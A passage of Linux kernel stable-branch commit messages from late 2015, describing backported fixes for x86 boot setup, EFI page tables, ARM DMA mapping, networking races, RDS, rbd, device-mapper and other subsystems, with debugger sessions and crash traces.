Ostrovsky Cc: Cc: Xen-devel Link: http://lkml.kernel.org/r/1433323874-6927-1-git-send-email-andrew.cooper3@citrix.com Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5e0064bf817d45cae6dc6cb8e712b7f500bc3ed5 Author: Borislav Petkov Date: Thu Nov 5 16:57:56 2015 +0100 x86/cpu: Call verify_cpu() after having entered long mode too commit 04633df0c43d710e5f696b06539c100898678235 upstream. When we get loaded by a 64-bit bootloader, kernel entry point is startup_64 in head_64.S. We don't trust any and all bootloaders because some will fiddle with CPU configuration so we go ahead and massage each CPU into sanity again. For example, some dell BIOSes have this XD disable feature which set IA32_MISC_ENABLE[34] and disable NX. This might be some dumb workaround for other OSes but Linux sure doesn't need it. A similar thing is present in the Surface 3 firmware - see https://bugzilla.kernel.org/show_bug.cgi?id=106051 - which sets this bit only on the BSP: # rdmsr -a 0x1a0 400850089 850089 850089 850089 I know, right?! There's not even an off switch in there. So fix all those cases by sanitizing the 64-bit entry point too. For that, make verify_cpu() callable in 64-bit mode also. Requested-and-debugged-by: "H. Peter Anvin" Reported-and-tested-by: Bastien Nocera Signed-off-by: Borislav Petkov Cc: Matt Fleming Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1446739076-21303-1-git-send-email-bp@alien8.de Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit daa9a41651efa38c7b49ac64ed51ab12b79584bc Author: Krzysztof Mazur Date: Fri Nov 6 14:18:36 2015 +0100 x86/setup: Fix low identity map for >= 2GB kernel range commit 68accac392d859d24adcf1be3a90e41f978bd54c upstream. The commit f5f3497cad8c extended the low identity mapping. However, if the kernel uses more than 2 GB (VMSPLIT_2G_OPT or VMSPLIT_1G memory split), the normal memory mapping is overwritten by the low identity mapping causing a crash. To avoid overwritting, limit the low identity map to cover only memory before kernel range (PAGE_OFFSET). Fixes: f5f3497cad8c "x86/setup: Extend low identity map to cover whole kernel range Signed-off-by: Krzysztof Mazur Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Laszlo Ersek Cc: Matt Fleming Cc: Paolo Bonzini Link: http://lkml.kernel.org/r/1446815916-22105-1-git-send-email-krzysiek@podlesie.net Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 979540f570232aeecb68bbae911cd8696fbb0b88 Author: Paolo Bonzini Date: Wed Oct 14 13:30:45 2015 +0200 x86/setup: Extend low identity map to cover whole kernel range commit f5f3497cad8c8416a74b9aaceb127908755d020a upstream. On 32-bit systems, the initial_page_table is reused by efi_call_phys_prolog as an identity map to call SetVirtualAddressMap. efi_call_phys_prolog takes care of converting the current CPU's GDT to a physical address too. For PAE kernels the identity mapping is achieved by aliasing the first PDPE for the kernel memory mapping into the first PDPE of initial_page_table. This makes the EFI stub's trick "just work". However, for non-PAE kernels there is no guarantee that the identity mapping in the initial_page_table extends as far as the GDT; in this case, accesses to the GDT will cause a page fault (which quickly becomes a triple fault). Fix this by copying the kernel mappings from swapper_pg_dir to initial_page_table twice, both at PAGE_OFFSET and at identity mapping. For some reason, this is only reproducible with QEMU's dynamic translation mode, and not for example with KVM. However, even under KVM one can clearly see that the page table is bogus: $ qemu-system-i386 -pflash OVMF.fd -M q35 vmlinuz0 -s -S -daemonize $ gdb (gdb) target remote localhost:1234 (gdb) hb *0x02858f6f Hardware assisted breakpoint 1 at 0x2858f6f (gdb) c Continuing. Breakpoint 1, 0x02858f6f in ?? () (gdb) monitor info registers ... GDT= 0724e000 000000ff IDT= fffbb000 000007ff CR0=0005003b CR2=ff896000 CR3=032b7000 CR4=00000690 ... The page directory is sane: (gdb) x/4wx 0x32b7000 0x32b7000: 0x03398063 0x03399063 0x0339a063 0x0339b063 (gdb) x/4wx 0x3398000 0x3398000: 0x00000163 0x00001163 0x00002163 0x00003163 (gdb) x/4wx 0x3399000 0x3399000: 0x00400003 0x00401003 0x00402003 0x00403003 but our particular page directory entry is empty: (gdb) x/1wx 0x32b7000 + (0x724e000 >> 22) * 4 0x32b7070: 0x00000000 [ It appears that you can skate past this issue if you don't receive any interrupts while the bogus GDT pointer is loaded, or if you avoid reloading the segment registers in general. Andy Lutomirski provides some additional insight: "AFAICT it's entirely permissible for the GDTR and/or LDT descriptor to point to unmapped memory. Any attempt to use them (segment loads, interrupts, IRET, etc) will try to access that memory as if the access came from CPL 0 and, if the access fails, will generate a valid page fault with CR2 pointing into the GDT or LDT." Up until commit 23a0d4e8fa6d ("efi: Disable interrupts around EFI calls, not in the epilog/prolog calls") interrupts were disabled around the prolog and epilog calls, and the functional GDT was re-installed before interrupts were re-enabled. Which explains why no one has hit this issue until now. ] Signed-off-by: Paolo Bonzini Reported-by: Laszlo Ersek Cc: Cc: Borislav Petkov Cc: "H. Peter Anvin" Cc: Thomas Gleixner Cc: Ingo Molnar Cc: Andy Lutomirski Signed-off-by: Matt Fleming [ Updated changelog. ] Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 29ff2d242f0caa099a911ebd48c3dda1bb569fd9 Author: Florian Fainelli Date: Sat Oct 3 13:03:47 2015 -0700 ARM: orion: Fix DSA platform device after mvmdio conversion commit d836ace65ee98d7079bc3c5afdbcc0e27dca20a3 upstream. DSA expects the host_dev pointer to be the device structure associated with the MDIO bus controller driver. First commit breaking that was c3a07134e6aa ("mv643xx_eth: convert to use the Marvell Orion MDIO driver"), and then, it got completely under the radar for a while. Reported-by: Frans van de Wiel Fixes: c3a07134e6aa ("mv643xx_eth: convert to use the Marvell Orion MDIO driver") Signed-off-by: Florian Fainelli Signed-off-by: Gregory CLEMENT Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 26ffc95824c395b88119e2cc407fb75968efe43e Author: Marek Szyprowski Date: Fri Aug 28 09:42:09 2015 +0100 ARM: 8427/1: dma-mapping: add support for offset parameter in dma_mmap() commit 7e31210349e9e03a9a4dff31ab5f2bc83e8e84f5 upstream. IOMMU-based dma_mmap() implementation lacked proper support for offset parameter used in mmap call (it always assumed that mapping starts from offset zero). This patch adds support for offset parameter to IOMMU-based implementation. Signed-off-by: Marek Szyprowski Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 661b1b94b29ff786c7ddce96572c6dc21fbf70ef Author: Marek Szyprowski Date: Fri Aug 28 09:41:39 2015 +0100 ARM: 8426/1: dma-mapping: add missing range check in dma_mmap() commit 371f0f085f629fc0f66695f572373ca4445a67ad upstream. dma_mmap() function in IOMMU-based dma-mapping implementation lacked a check for valid range of mmap parameters (offset and buffer size), what might have caused access beyond the allocated buffer. This patch fixes this issue. Signed-off-by: Marek Szyprowski Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e734ad63d937788590980e9ae6c44b544bf3973d Author: Sasha Levin Date: Tue Sep 8 10:53:40 2015 -0400 RDS: verify the underlying transport exists before creating a connection [ Upstream commit 74e98eb085889b0d2d4908f59f6e00026063014f ] There was no verification that an underlying transport exists when creating a connection, this would cause dereferencing a NULL ptr. It might happen on sockets that weren't properly bound before attempting to send a message, which will cause a NULL ptr deref: [135546.047719] kasan: GPF could be caused by NULL-ptr deref or user memory accessgeneral protection fault: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN [135546.051270] Modules linked in: [135546.051781] CPU: 4 PID: 15650 Comm: trinity-c4 Not tainted 4.2.0-next-20150902-sasha-00041-gbaa1222-dirty #2527 [135546.053217] task: ffff8800835bc000 ti: ffff8800bc708000 task.ti: ffff8800bc708000 [135546.054291] RIP: __rds_conn_create (net/rds/connection.c:194) [135546.055666] RSP: 0018:ffff8800bc70fab0 EFLAGS: 00010202 [135546.056457] RAX: dffffc0000000000 RBX: 0000000000000f2c RCX: ffff8800835bc000 [135546.057494] RDX: 0000000000000007 RSI: ffff8800835bccd8 RDI: 0000000000000038 [135546.058530] RBP: ffff8800bc70fb18 R08: 0000000000000001 R09: 0000000000000000 [135546.059556] R10: ffffed014d7a3a23 R11: ffffed014d7a3a21 R12: 0000000000000000 [135546.060614] R13: 0000000000000001 R14: ffff8801ec3d0000 R15: 0000000000000000 [135546.061668] FS: 00007faad4ffb700(0000) GS:ffff880252000000(0000) knlGS:0000000000000000 [135546.062836] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [135546.063682] CR2: 000000000000846a CR3: 000000009d137000 CR4: 00000000000006a0 [135546.064723] Stack: [135546.065048] ffffffffafe2055c ffffffffafe23fc1 ffffed00493097bf ffff8801ec3d0008 [135546.066247] 0000000000000000 00000000000000d0 0000000000000000 ac194a24c0586342 [135546.067438] 1ffff100178e1f78 ffff880320581b00 ffff8800bc70fdd0 ffff880320581b00 [135546.068629] Call Trace: [135546.069028] ? __rds_conn_create (include/linux/rcupdate.h:856 net/rds/connection.c:134) [135546.069989] ? rds_message_copy_from_user (net/rds/message.c:298) [135546.071021] rds_conn_create_outgoing (net/rds/connection.c:278) [135546.071981] rds_sendmsg (net/rds/send.c:1058) [135546.072858] ? perf_trace_lock (include/trace/events/lock.h:38) [135546.073744] ? lockdep_init (kernel/locking/lockdep.c:3298) [135546.074577] ? rds_send_drop_to (net/rds/send.c:976) [135546.075508] ? __might_fault (./arch/x86/include/asm/current.h:14 mm/memory.c:3795) [135546.076349] ? __might_fault (mm/memory.c:3795) [135546.077179] ? rds_send_drop_to (net/rds/send.c:976) [135546.078114] sock_sendmsg (net/socket.c:611 net/socket.c:620) [135546.078856] SYSC_sendto (net/socket.c:1657) [135546.079596] ? SYSC_connect (net/socket.c:1628) [135546.080510] ? trace_dump_stack (kernel/trace/trace.c:1926) [135546.081397] ? ring_buffer_unlock_commit (kernel/trace/ring_buffer.c:2479 kernel/trace/ring_buffer.c:2558 kernel/trace/ring_buffer.c:2674) [135546.082390] ? trace_buffer_unlock_commit (kernel/trace/trace.c:1749) [135546.083410] ? trace_event_raw_event_sys_enter (include/trace/events/syscalls.h:16) [135546.084481] ? do_audit_syscall_entry (include/trace/events/syscalls.h:16) [135546.085438] ? trace_buffer_unlock_commit (kernel/trace/trace.c:1749) [135546.085515] rds_ib_laddr_check(): addr 36.74.25.172 ret -99 node type -1 Acked-by: Santosh Shilimkar Signed-off-by: Sasha Levin Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 419db8342f4e3063536a7c645e4230a5865d5aac Author: Jason Wang Date: Wed Aug 5 10:34:04 2015 +0800 virtio-net: drop NETIF_F_FRAGLIST [ Upstream commit 48900cb6af4282fa0fb6ff4d72a81aa3dadb5c39 ] virtio declares support for NETIF_F_FRAGLIST, but assumes that there are at most MAX_SKB_FRAGS + 2 fragments which isn't always true with a fraglist. A longer fraglist in the skb will make the call to skb_to_sgvec overflow the sg array, leading to memory corruption. Drop NETIF_F_FRAGLIST so we only get what we can handle. Cc: Michael S. Tsirkin Signed-off-by: Jason Wang Acked-by: Michael S. Tsirkin Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 82c5c8943c9b71fa888edda091d3338c6c8822fe Author: Eric Dumazet Date: Mon Nov 9 17:51:23 2015 -0800 net: fix a race in dst_release() [ Upstream commit d69bbf88c8d0b367cf3e3a052f6daadf630ee566 ] Only cpu seeing dst refcount going to 0 can safely dereference dst->flags. Otherwise an other cpu might already have freed the dst. Fixes: 27b75c95f10d ("net: avoid RCU for NOCACHE dst") Reported-by: Greg Thelen Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cf22ae176ea1813cc7bc5d9b6a0f26648bdb14cb Author: Eric Dumazet Date: Mon Nov 2 07:50:07 2015 -0800 net: avoid NULL deref in inet_ctl_sock_destroy() [ Upstream commit 8fa677d2706d325d71dab91bf6e6512c05214e37 ] Under low memory conditions, tcp_sk_init() and icmp_sk_init() can both iterate on all possible cpus and call inet_ctl_sock_destroy(), with eventual NULL pointer. Signed-off-by: Eric Dumazet Reported-by: Dmitry Vyukov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b25d89ed51b518d399b12dc736a7c8e3f90b0e99 Author: Ani Sinha Date: Fri Oct 30 16:54:31 2015 -0700 ipmr: fix possible race resulting from improper usage of IP_INC_STATS_BH() in preemptible context. [ Upstream commit 44f49dd8b5a606870a1f21101522a0f9c4414784 ] Fixes the following kernel BUG : BUG: using __this_cpu_add() in preemptible [00000000] code: bash/2758 caller is __this_cpu_preempt_check+0x13/0x15 CPU: 0 PID: 2758 Comm: bash Tainted: P O 3.18.19 #2 ffffffff8170eaca ffff880110d1b788 ffffffff81482b2a 0000000000000000 0000000000000000 ffff880110d1b7b8 ffffffff812010ae ffff880007cab800 ffff88001a060800 ffff88013a899108 ffff880108b84240 ffff880110d1b7c8 Call Trace: [] dump_stack+0x52/0x80 [] check_preemption_disabled+0xce/0xe1 [] __this_cpu_preempt_check+0x13/0x15 [] ipmr_queue_xmit+0x647/0x70c [] ip_mr_forward+0x32f/0x34e [] ip_mroute_setsockopt+0xe03/0x108c [] ? get_parent_ip+0x11/0x42 [] ? pollwake+0x4d/0x51 [] ? default_wake_function+0x0/0xf [] ? get_parent_ip+0x11/0x42 [] ? __wake_up_common+0x45/0x77 [] ? _raw_spin_unlock_irqrestore+0x1d/0x32 [] ? __wake_up_sync_key+0x4a/0x53 [] ? sock_def_readable+0x71/0x75 [] do_ip_setsockopt+0x9d/0xb55 [] ? unix_seqpacket_sendmsg+0x3f/0x41 [] ? sock_sendmsg+0x6d/0x86 [] ? sockfd_lookup_light+0x12/0x5d [] ? SyS_sendto+0xf3/0x11b [] ? new_sync_read+0x82/0xaa [] compat_ip_setsockopt+0x3b/0x99 [] compat_raw_setsockopt+0x11/0x32 [] compat_sock_common_setsockopt+0x18/0x1f [] compat_SyS_setsockopt+0x1a9/0x1cf [] compat_SyS_socketcall+0x180/0x1e3 [] cstar_dispatch+0x7/0x1e Signed-off-by: Ani Sinha Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b963494d4554b1d584a03dfe3fc1a3274443bf16 Author: Phil Reid Date: Fri Oct 30 16:43:55 2015 +0800 stmmac: Correctly report PTP capabilities. [ Upstream commit e6dbe1eb2db0d7a14991c06278dd3030c45fb825 ] priv->hwts_*_en indicate if timestamping is enabled/disabled at run time. But priv->dma_cap.time_stamp and priv->dma_cap.atime_stamp indicates HW is support for PTPv1/PTPv2. Signed-off-by: Phil Reid Acked-by: Richard Cochran Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f7f2a4ca83e35d4af39351c7ca68b9aac12e261e Author: Carol L Soto Date: Tue Oct 27 17:36:20 2015 +0200 net/mlx4: Copy/set only sizeof struct mlx4_eqe bytes [ Upstream commit c02b05011fadf8e409e41910217ca689f2fc9d91 ] When doing memcpy/memset of EQEs, we should use sizeof struct mlx4_eqe as the base size and not caps.eqe_size which could be bigger. If caps.eqe_size is bigger than the struct mlx4_eqe then we corrupt data in the master context. When using a 64 byte stride, the memcpy copied over 63 bytes to the slave_eq structure. This resulted in copying over the entire eqe of interest, including its ownership bit -- and also 31 bytes of garbage into the next WQE in the slave EQ -- which did NOT include the ownership bit (and therefore had no impact). However, once the stride is increased to 128, we are overwriting the ownership bits of *three* eqes in the slave_eq struct. This results in an incorrect ownership bit for those eqes, which causes the eq to seem to be full. The issue therefore surfaced only once 128-byte EQEs started being used in SRIOV and (overarchitectures that have 128/256 byte cache-lines such as PPC) - e.g after commit 77507aa249ae "net/mlx4_core: Enable CQE/EQE stride support". Fixes: 08ff32352d6f ('mlx4: 64-byte CQE/EQE support') Signed-off-by: Carol L Soto Signed-off-by: Jack Morgenstein Signed-off-by: Or Gerlitz Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5237e3e503a6aff7ae0426813240b3f9cbb6fc40 Author: Sowmini Varadhan Date: Mon Oct 26 12:46:37 2015 -0400 RDS-TCP: Recover correctly from pskb_pull()/pksb_trim() failure in rds_tcp_data_recv [ Upstream commit 8ce675ff39b9958d1c10f86cf58e357efaafc856 ] Either of pskb_pull() or pskb_trim() may fail under low memory conditions. If rds_tcp_data_recv() ignores such failures, the application will receive corrupted data because the skb has not been correctly carved to the RDS datagram size. Avoid this by handling pskb_pull/pskb_trim failure in the same manner as the skb_clone failure: bail out of rds_tcp_data_recv(), and retry via the deferred call to rds_send_worker() that gets set up on ENOMEM from rds_tcp_read_sock() Signed-off-by: Sowmini Varadhan Acked-by: Santosh Shilimkar Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5614b1673fb54e7f6cadbebb5a5b30dd14320546 Author: Guillaume Nault Date: Thu Oct 22 16:57:10 2015 +0200 ppp: fix pppoe_dev deletion condition in pppoe_release() [ Upstream commit 1acea4f6ce1b1c0941438aca75dd2e5c6b09db60 ] We can't rely on PPPOX_ZOMBIE to decide whether to clear po->pppoe_dev. PPPOX_ZOMBIE can be set by pppoe_disc_rcv() even when po->pppoe_dev is NULL. So we have no guarantee that (sk->sk_state & PPPOX_ZOMBIE) implies (po->pppoe_dev != NULL). Since we're releasing a PPPoE socket, we want to release the pppoe_dev if it exists and reset sk_state to PPPOX_DEAD, no matter the previous value of sk_state. So we can just check for po->pppoe_dev and avoid any assumption on sk->sk_state. Fixes: 2b018d57ff18 ("pppoe: drop PPPOX_ZOMBIEs in pppoe_release") Signed-off-by: Guillaume Nault Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 604ea661fd78ad38fed33201f44d61f6bce8d02c Author: Dan Carpenter Date: Mon Oct 19 13:16:49 2015 +0300 irda: precedence bug in irlmp_seq_hb_idx() [ Upstream commit 50010c20597d14667eff0fdb628309986f195230 ] This is decrementing the pointer, instead of the value stored in the pointer. KASan detects it as an out of bounds reference. Reported-by: "Berry Cheng 程å›(æˆæ·¼)" Signed-off-by: Dan Carpenter Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 38fd98d927a51c6e836095e04097dd5b441f9003 Author: Greg Kroah-Hartman Date: Mon Nov 9 10:13:32 2015 -0800 Linux 3.10.93 Signed-off-by: Pranav Vashi commit c26d1a487633d55b872d3346809528af4440c08e Author: Greg Kroah-Hartman Date: Fri Nov 6 11:07:07 2015 -0800 xen: fix backport of previous kexec patch Fixes the backport of 0b34a166f291d255755be46e43ed5497cdd194f2 upstream Commit 0b34a166f291d255755be46e43ed5497cdd194f2 "x86/xen: Support kexec/kdump in HVM guests by doing a soft reset" has been added to the 4.2-stable tree" needed to correct the CONFIG variable, as CONFIG_KEXEC_CORE only showed up in 4.3. Reported-by: David Vrabel Reported-by: Luis Henriques Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c90ba2e99de62b273c907645c904ca612b1bc336 Author: Doron Tsur Date: Sun Oct 11 15:58:17 2015 +0300 IB/cm: Fix rb-tree duplicate free and use-after-free commit 0ca81a2840f77855bbad1b9f172c545c4dc9e6a4 upstream. ib_send_cm_sidr_rep could sometimes erase the node from the sidr (depending on errors in the process). Since ib_send_cm_sidr_rep is called both from cm_sidr_req_handler and cm_destroy_id, cm_id_priv could be either erased from the rb_tree twice or not erased at all. Fixing that by making sure it's erased only once before freeing cm_id_priv. Fixes: a977049dacde ('[PATCH] IB: Add the kernel CM implementation') Signed-off-by: Doron Tsur Signed-off-by: Matan Barak Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 896a66b9589abf88ed7245b4f7718af69e3fa069 Author: DÄvis MosÄns Date: Fri Aug 21 07:29:22 2015 +0300 mvsas: Fix NULL pointer dereference in mvs_slot_task_free commit 2280521719e81919283b82902ac24058f87dfc1b upstream. When pci_pool_alloc fails in mvs_task_prep then task->lldd_task stays NULL but it's later used in mvs_abort_task as slot which is passed to mvs_slot_task_free causing NULL pointer dereference. Just return from mvs_slot_task_free when passed with NULL slot. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=101891 Signed-off-by: DÄvis MosÄns Reviewed-by: Tomas Henzl Reviewed-by: Johannes Thumshirn Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 29a8ebdb9a33c22e5b97c5e5c293ff13d4435806 Author: Jes Sorensen Date: Tue Oct 20 12:09:13 2015 -0400 md/raid10: submit_bio_wait() returns 0 on success commit 681ab4696062f5aa939c9e04d058732306a97176 upstream. This was introduced with 9e882242c6193ae6f416f2d8d8db0d9126bd996b which changed the return value of submit_bio_wait() to return != 0 on error, but didn't update the caller accordingly. Fixes: 9e882242c6 ("block: Add submit_bio_wait(), remove from md") Reported-by: Bill Kuzeja Signed-off-by: Jes Sorensen Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f6ebba2b39b861685a928268bac437032bc1166a Author: Jes Sorensen Date: Tue Oct 20 12:09:12 2015 -0400 md/raid1: submit_bio_wait() returns 0 on success commit 203d27b0226a05202438ddb39ef0ef1acb14a759 upstream. This was introduced with 9e882242c6193ae6f416f2d8d8db0d9126bd996b which changed the return value of submit_bio_wait() to return != 0 on error, but didn't update the caller accordingly. Fixes: 9e882242c6 ("block: Add submit_bio_wait(), remove from md") Reported-by: Bill Kuzeja Signed-off-by: Jes Sorensen Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 556f2c9637fead855cf9895e8f1b8627893d45c9 Author: Herbert Xu Date: Mon Oct 19 18:23:57 2015 +0800 crypto: api - Only abort operations on fatal signal commit 3fc89adb9fa4beff31374a4bf50b3d099d88ae83 upstream. Currently a number of Crypto API operations may fail when a signal occurs. This causes nasty problems as the caller of those operations are often not in a good position to restart the operation. In fact there is currently no need for those operations to be interrupted by user signals at all. All we need is for them to be killable. This patch replaces the relevant calls of signal_pending with fatal_signal_pending, and wait_for_completion_interruptible with wait_for_completion_killable, respectively. Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3b5a940f6490cf5bea75fca05d50fe526c84edfe Author: Peter Zijlstra Date: Thu Aug 20 10:34:59 2015 +0930 module: Fix locking in symbol_put_addr() commit 275d7d44d802ef271a42dc87ac091a495ba72fc5 upstream. Poma (on the way to another bug) reported an assertion triggering: [] module_assert_mutex_or_preempt+0x49/0x90 [] __module_address+0x32/0x150 [] __module_text_address+0x16/0x70 [] symbol_put_addr+0x29/0x40 [] dvb_frontend_detach+0x7d/0x90 [dvb_core] Laura Abbott produced a patch which lead us to inspect symbol_put_addr(). This function has a comment claiming it doesn't need to disable preemption around the module lookup because it holds a reference to the module it wants to find, which therefore cannot go away. This is wrong (and a false optimization too, preempt_disable() is really rather cheap, and I doubt any of this is on uber critical paths, otherwise it would've retained a pointer to the actual module anyway and avoided the second lookup). While its true that the module cannot go away while we hold a reference on it, the data structure we do the lookup in very much _CAN_ change while we do the lookup. Therefore fix the comment and add the required preempt_disable(). Reported-by: poma Signed-off-by: Peter Zijlstra (Intel) Signed-off-by: Rusty Russell Fixes: a6e6abd575fc ("module: remove module_text_address()") Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 37bb1f91671936c6b01252e263073136acf75ba0 Author: Cathy Avery Date: Fri Oct 2 09:35:01 2015 -0400 xen-blkfront: check for null drvdata in blkback_changed (XenbusStateClosing) commit a54c8f0f2d7df525ff997e2afe71866a1a013064 upstream. xen-blkfront will crash if the check to talk_to_blkback() in blkback_changed()(XenbusStateInitWait) returns an error. The driver data is freed and info is set to NULL. Later during the close process via talk_to_blkback's call to xenbus_dev_fatal() the null pointer is passed to and dereference in blkfront_closing. Signed-off-by: Cathy Avery Signed-off-by: Konrad Rzeszutek Wilk Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 473e006288c23e5704d0ef11096b25f2d7a2811d Author: Mathias Nyman Date: Mon Oct 12 11:30:12 2015 +0300 xhci: handle no ping response error properly commit 3b4739b8951d650becbcd855d7d6f18ac98a9a85 upstream. If a host fails to wake up a isochronous SuperSpeed device from U1/U2 in time for a isoch transfer it will generate a "No ping response error" Host will then move to the next transfer descriptor. Handle this case in the same way as missed service errors, tag the current TD as skipped and handle it on the next transfer event. Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 15a857987006a4c7d6e1b43cef3be430c3be8315 Author: Mike Snitzer Date: Thu Oct 22 10:56:40 2015 -0400 dm btree: fix leak of bufio-backed block in btree_split_beneath error path commit 4dcb8b57df3593dcb20481d9d6cf79d1dc1534be upstream. btree_split_beneath()'s error path had an outstanding FIXME that speaks directly to the potential for _not_ cleaning up a previously allocated bufio-backed block. Fix this by releasing the previously allocated bufio block using unlock_block(). Reported-by: Mikulas Patocka Signed-off-by: Mike Snitzer Acked-by: Joe Thornber Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 00792b76427b2d890fee2b40de20a417f58cdf72 Author: Joe Thornber Date: Wed Oct 21 18:36:49 2015 +0100 dm btree remove: fix a bug when rebalancing nodes after removal commit 2871c69e025e8bc507651d5a9cf81a8a7da9d24b upstream. Commit 4c7e309340ff ("dm btree remove: fix bug in redistribute3") wasn't a complete fix for redistribute3(). The redistribute3 function takes 3 btree nodes and shares out the entries evenly between them. If the three nodes in total contained (MAX_ENTRIES * 3) - 1 entries between them then this was erroneously getting rebalanced as (MAX_ENTRIES - 1) on the left and right, and (MAX_ENTRIES + 1) in the center. Fix this issue by being more careful about calculating the target number of entries for the left and right nodes. Unit tested in userspace using this program: https://github.com/jthornber/redistribute3-test/blob/master/redistribute3_t.c Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1bb8c29bf4080718d268013112569290c639ce56 Author: Will Deacon Date: Wed Oct 28 16:56:13 2015 +0000 Revert "ARM64: unwind: Fix PC calculation" commit 9702970c7bd3e2d6fecb642a190269131d4ac16c upstream. This reverts commit e306dfd06fcb44d21c80acb8e5a88d55f3d1cf63. With this patch applied, we were the only architecture making this sort of adjustment to the PC calculation in the unwinder. This causes problems for ftrace, where the PC values are matched against the contents of the stack frames in the callchain and fail to match any records after the address adjustment. Whilst there has been some effort to change ftrace to workaround this, those patches are not yet ready for mainline and, since we're the odd architecture in this regard, let's just step in line with other architectures (like arch/arm/) for now. Signed-off-by: Will Deacon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2f850ae113113304b4810e277af999f3935f7aa3 Author: Ilya Dryomov Date: Sun Oct 11 19:38:00 2015 +0200 rbd: prevent kernel stack blow up on rbd map commit 6d69bb536bac0d403d83db1ca841444981b280cd upstream. Mapping an image with a long parent chain (e.g. image foo, whose parent is bar, whose parent is baz, etc) currently leads to a kernel stack overflow, due to the following recursion in the reply path: rbd_osd_req_callback() rbd_obj_request_complete() rbd_img_obj_callback() rbd_img_parent_read_callback() rbd_obj_request_complete() ... Limit the parent chain to 16 images, which is ~5K worth of stack. When the above recursion is eliminated, this limit can be lifted. Fixes: http://tracker.ceph.com/issues/12538 Signed-off-by: Ilya Dryomov Reviewed-by: Josh Durgin [idryomov@gmail.com: backport to 3.10: rbd_dev->opts, context] Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 66b72ccb2160eed150a21b853bb29275a81cbccb Author: Ilya Dryomov Date: Sun Oct 11 19:38:00 2015 +0200 rbd: don't leak parent_spec in rbd_dev_probe_parent() commit 1f2c6651f69c14d0d3a9cfbda44ea101b02160ba upstream. Currently we leak parent_spec and trigger a "parent reference underflow" warning if rbd_dev_create() in rbd_dev_probe_parent() fails. The problem is we take the !parent out_err branch and that only drops refcounts; parent_spec that would've been freed had we called rbd_dev_unparent() remains and triggers rbd_warn() in rbd_dev_parent_put() - at that point we have parent_spec != NULL and parent_ref == 0, so counter ends up being -1 after the decrement. Redo rbd_dev_probe_parent() to fix this. Signed-off-by: Ilya Dryomov [idryomov@gmail.com: backport to < 4.2: rbd_dev->opts] Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6f3ba2cf9756674742f7b8a14aae31a817c2b117 Author: Ronny Hegewald Date: Thu Oct 15 18:50:46 2015 +0000 rbd: require stable pages if message data CRCs are enabled commit bae818ee1577c27356093901a0ea48f672eda514 upstream. rbd requires stable pages, as it performs a crc of the page data before they are send to the OSDs. But since kernel 3.9 (patch 1d1d1a767206fbe5d4c69493b7e6d2a8d08cc0a0 "mm: only enforce stable page writes if the backing device requires it") it is not assumed anymore that block devices require stable pages. This patch sets the necessary flag to get stable pages back for rbd. In a ceph installation that provides multiple ext4 formatted rbd devices "bad crc" messages appeared regularly (ca 1 message every 1-2 minutes on every OSD that provided the data for the rbd) in the OSD-logs before this patch. After this patch this messages are pretty much gone (only ca 1-2 / month / OSD). Signed-off-by: Ronny Hegewald [idryomov@gmail.com: require stable pages only in crc case, changelog] [idryomov@gmail.com: backport to 3.9-3.17: context] Signed-off-by: Ilya Dryomov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b771f905a37cec24085d31af0693634234d43ef3 Author: Ilia Mirkin Date: Tue Oct 20 01:15:39 2015 -0400 drm/nouveau/gem: return only valid domain when there's only one commit 